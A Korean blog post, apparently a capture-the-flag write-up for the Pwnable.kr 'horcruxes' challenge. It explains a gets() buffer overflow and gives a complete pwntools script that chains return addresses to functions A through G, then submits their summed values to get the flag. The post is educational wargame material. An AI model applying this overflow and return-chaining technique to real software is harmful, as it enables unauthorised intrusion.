<Wargame & CTF>/Pwnable.kr

[Pwnable.kr] horcruxes

gosoeungduk 2021. 5. 30. 20:37
반응형

#Pwnable.kr #horcruxes #Toddler


title

horcruxes 문제이다.

source_main

main 함수를 보면 다음과 같이 seccomp 설정과 더불어 init_ABCDEFG() 함수가 실행된다.

source_init

해당 init_ABCDEFG() 함수는 위와 같은데 /dev/urandom 에서 랜덤한 값을 시드로 하여 a, b, c, d, e, f, g 값을 랜덤으로 뽑아내는 함수이다.

source_ropem

그리고 핵심이라 할 수 있는 ropem 함수이다. 해당 함수는 위와 같이 생겼는데, A(), B(), C(), D(), E(), F(), G() 함수는 init_ABCDEFG 에서 만든 값들을 알파벳에 맞게 차례로 출력시켜주는 함수이다.

source_roepm2

그리고 그 값들을 합친 sumgets(s) 로 입력받은 s 값과 같으면 플래그를 출력시켜준다.

a0_byte

처음에 생각한 시나리오는 gets(s); 가 100 바이트 짜리 배열 s 를 초과하여 입력할 수 있으므로 eip 를 바로 플래그 출력 로직으로 조작하여 플래그만 읽어내도록 하자! 였는데, 웃기게도 해당 파트주소에 0xa0 바이트가 들어가있어서 gets 입력이 끊긴다...

그래서 gets 함수로 A(), B(), C(), ~ 함수들을 강제로 읽은 다음에 다시 ropem 함수로 돌아가서 sum 을 알맞게 입력해서 플래그를 읽는 것으로 마무리한다.

from pwn import *
binary=ELF("./horcruxes")
exps=0
s=remote("pwnable.kr",9032)
pay=b"a"*120
pay+=p32(binary.symbols['A'])
pay+=p32(binary.symbols['B'])
pay+=p32(binary.symbols['C'])
pay+=p32(binary.symbols['D'])
pay+=p32(binary.symbols['E'])
pay+=p32(binary.symbols['F'])
pay+=p32(binary.symbols['G'])
pay+=p32(0x0809FFFC)
def selecting(sock,payload):
    sock.recvuntil("Select Menu:")
    sock.sendline("1")
    sock.recvuntil("How many EXP did you earned? : ")
    sock.sendline(payload)
selecting(s,pay)
for i in range(ord('A'),ord('G')+1):
    s.recvuntil("(EXP +")
    res=s.recvuntil(")")
    exps+=int(res[:-1],10)
if(exps>2147483647): #integer overflow
    selecting(s,str((exps%2147483647)-2))
else:
    selecting(s,str(exps))
s.interactive()
반응형

'<Wargame & CTF> > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] loveletter  (0) 2021.06.07
[Pwnable.kr] brainfuck  (0) 2021.05.30
[Pwnable.kr] blukat  (0) 2021.05.30
[Pwnable.kr] asm  (0) 2021.05.29
[Pwnable.kr] memcpy  (0) 2021.05.29